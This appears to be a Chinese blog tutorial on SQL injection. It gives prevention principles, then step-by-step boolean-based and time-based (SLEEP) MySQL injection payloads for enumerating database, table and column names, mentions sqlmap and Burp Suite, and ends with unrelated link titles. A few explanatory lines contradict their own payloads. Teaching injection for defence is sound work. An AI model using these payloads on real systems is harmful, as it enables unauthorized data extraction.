什么是SQL注入?

SQL注入风险,是攻击者利用请求参数这样一个入口,拼接上自己的恶意SQL语句,根据错误提示信息、执行时长等信息,窥探数据库的库名、表结构和数据,拿到用户数据,再提权控制整个后端系统。

SQL注入是一种最流行的web应用程序漏洞,特别是一些小的web平台,没有经过严格的测试流程,安全问题十分堪忧。虽然数据库本身的技术在发展,web端的技术和框架也在日新月异的更迭,仍然无法完全杜绝此类漏洞。

预防SQL注入的原则

  • 永远不要信任用户的输入。可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
  • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

一、基于BOOL条件注入

1、猜测闭合字符

假如我们有下面一行普通的sql查询,查询用户表中,以a开头的用户,用户余额小于100元的

 SELECT * FROM t_users WHERE username LIKE 'a%' and money < 100.00

如果我们没有对用户名做严格校验,前端传的不是a,而是a',就会发生下面的情况

 SELECT * FROM t_users WHERE username LIKE 'a'%' and money < 100.00

如果返回错误页面,这个用户名是用单引号'括起来的,如果传入的是双引号,是不会报错的

下面我们把后面的内容都注释掉,使用两个减号--

 SELECT * FROM t_users WHERE username LIKE 'a' -- %' and money < 100.00

这样sql又恢复了正常,这个时候,我们就可以在这里插入一些容易报错的sql来探寻数据库的结构

2、猜测查询列数

 SELECT * FROM t_users WHERE username LIKE 'a' ORDER BY 3 -- %' and money < 100.00

order by num 如果报错,说明num已经超过表的column列数,这样就可以知道当前的表的column列数

 SELECT * FROM t_users WHERE username LIKE 'a' UNION SELECT 1,2,3 -- %' and money < 100.00

如果表的column是3列,这样就不会报错,否则就会报错,也从侧面印证了表的列数是3列

3、猜测数据库长度和数据库名字

先猜测数据库的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND LENGTH(DATABASE()) > 10 -- %' and money < 100.00

如果页面返回了正常的数据,说明数据库长度是大于5的,没有任何数据返回,说明条件错误

再依次猜测每个字符的ascii码

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR(DATABASE(),1,1))) > 97 -- %' and money < 100.00

如果页面返回了正常的数据,说明第一个ascii码不是a(97),依次类推,长度多少就猜多少次

4、猜测数据库中表的个数和每个表的名字

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()) > 1 -- %' and money < 100.00

正常返回,说明大于1个表,依次增加,直到错误为止

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) > 5 -- %' and money < 100.00

这样可以查询出第一个表的名称的长度,修改limit 0, 1这个分页,可以查出所有的表名称的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))) > 97 -- %' and money < 100.00

猜测第一个表名称的第一个字母的ascii码,依次类推

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='t_users') > 3 -- %' and money < 100.00

猜测t_users表的列数

 SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1) > 1 -- %' and money < 100.00

猜测t_users表的第一列的长度

 SELECT * FROM t_users WHERE username LIKE 'a%' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1),1,1)) > 97 -- %' and money < 100.00

猜测t_users表的第一列的每个ascii码的字符

二、基于执行时间注入

如果基于BOOL条件注入页面不报错,也没有其他特征,那么可以在BOOL条件的基础上添加sleep来做判断。if(c,a,b),如果c为真执行a,否则执行b,然后将b替换为sleep(10)

 SELECT * FROM t_users WHERE username LIKE 'a%' AND IF(LENGTH(DATABASE()) > 4, 1, SLEEP(5)) -- and money < 100.00

将上面的基于BOOL注入获取数据库名称长度的sql稍加改造,即可获取。如果长度不大于4,就会延迟5秒。

同理,其他各项的注入,都可以通过这种方式加入if判断再延迟,即可轻松获取。

三、借助工具实现快速检测

sqlmap是一种自动化的sql注入检测工具,非常方便的检测api接口是否存在sql注入的漏洞。

burpsuite是一种拦截浏览器数据的工具,结合sqlmap使用起来事半功倍。

总结

大家开发完项目以后,最好使用sqlmap对自己的项目扫描一次,以防止出现SQL注入漏洞。

sql挂起小工具cleanup_SQL注入的攻防策略相关推荐

  1. sql挂起小工具cleanup_又来安利了!我用起来最“顺手”的数据库设计工具

    SpringBoot实战电商项目mall(30k+star)地址:http://github.com/macrozheng/- 摘要 好的数据库设计工具,可以帮助我们进行思考并提高我们的设计效率.以前 ...

  2. 关于快速方法SQL BAK Reader 小工具查看SQL Server备份文件内容(不需要打开SQL Server)很实用

    有时候我们没有SQL Server或者没有权限连接到SQL Server,但是我们想查看备份文件包含的内容,这个时候我们可以使用SQL BAK Reader小工具.另外你无法还原数据库的时候,你想查看 ...

  3. sql注入的小工具介绍

    sql注入的小工具介绍 啊D注入工具: pangolin(穿山甲) 穿山甲:Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec ...

  4. SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具

    1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛 ...

  5. mysql服务攻击检测_SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具

    1.关于SQL Injection迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛砖 ...

  6. sql语句转linq的一个小工具

    http://sqltolinq.com/home sql语句转linq的一个小工具 转载于:https://www.cnblogs.com/fumj/archive/2012/12/20/28258 ...

  7. stringbuffer mysql_javascript制作sql转换为stringBuffer的小工具

    sql转换为stringBuffer的小工具,dao层拼接sql很麻烦,用这个小工具可以快速拼接,把写好的sql在sql工具中格式化好,然后复制进去就可以了 代码 change SQL var ie ...

  8. 【分享】小工具大智慧之Sql执行工具

    [分享]小工具大智慧之Sql执行工具 原文:[分享]小工具大智慧之Sql执行工具 工具概况 情况是这样的,以前我们公司有很多Sql用于完成一些很不起眼但又不得不完成的业务,出于方便就直接在Sql查询分 ...

  9. SQL Server编写存储过程小工具(三)

    SQL Server编写存储过程小工具  功能:为给定表创建Update存储过程  语法: sp_GenUpdate <Table Name>,<Primary Key>,&l ...

最新文章

  1. 对人脑而言,阅读计算机代码和阅读语言有何不同?
  2. 千里之行,始于OKR——轻雀协作团队管理分享
  3. Linux查看MBR的内容
  4. 深入了解 Oracle Flex ASM 及其优点
  5. Vertex and Fragment Shader
  6. 服务器驱动精灵_驱动精灵真的可以帮你安装驱动吗?别再无脑装驱动了
  7. IDEA——Maven的配置与使用
  8. 排序算法-----冒泡排序和选择排序
  9. Xcode9 无线连接真机调试
  10. 线程不安全 静态变量_【高并发】面试官问我:为啥局部变量是线程安全的?...
  11. 京东健康打开医疗服务的“脑机”接口
  12. 程序猿崛起2——互联网时代下的新潮流和新活法
  13. 计算机辅助故障树分析法,非常实用的工具和方法:故障树分析法(FTA)
  14. Notepad++ 提示:An exception occurred due to plugin: HexEditor.dll 出错
  15. 红帽6.4版本安装详细步骤
  16. 预先下载的keras库中神经网络模型指定存放路径及如何上传的问题
  17. 快速上手云原生安全平台 NeuVector
  18. 如何读取md文件(MarkdownPad2专业版已激活)
  19. 计算机专业高级知识,高级选择_电脑基础知识_IT计算机_专业资料
  20. 【物联网】15.物联网设备联网方式(WiFi/蓝牙/ZigBee)

热门文章

  1. 为什么每个邮件收到后都会有一个htm的附件_Python 发送邮件各种姿势
  2. Linux中sftp加权限,Linux 搭建Sftp服务并进行权限设置
  3. oracle 快速上手,Oracle学习笔记:快速上手
  4. Python笔记:日期时间获取与转换
  5. python元类、反射及双线方法
  6. Python中classmethod与staticmethod区别
  7. python 中文件输入输出及os模块对文件系统的操作
  8. php流量中转,中转Webshell绕过流量检测防护
  9. 腾讯微信是通过美国服务器传的吗,原来微信和QQ的文件是可以相互传输的!现在才知道,真是太可惜了...
  10. mysql gt resource_讲解MySQL中lt;=gt;操作符的用法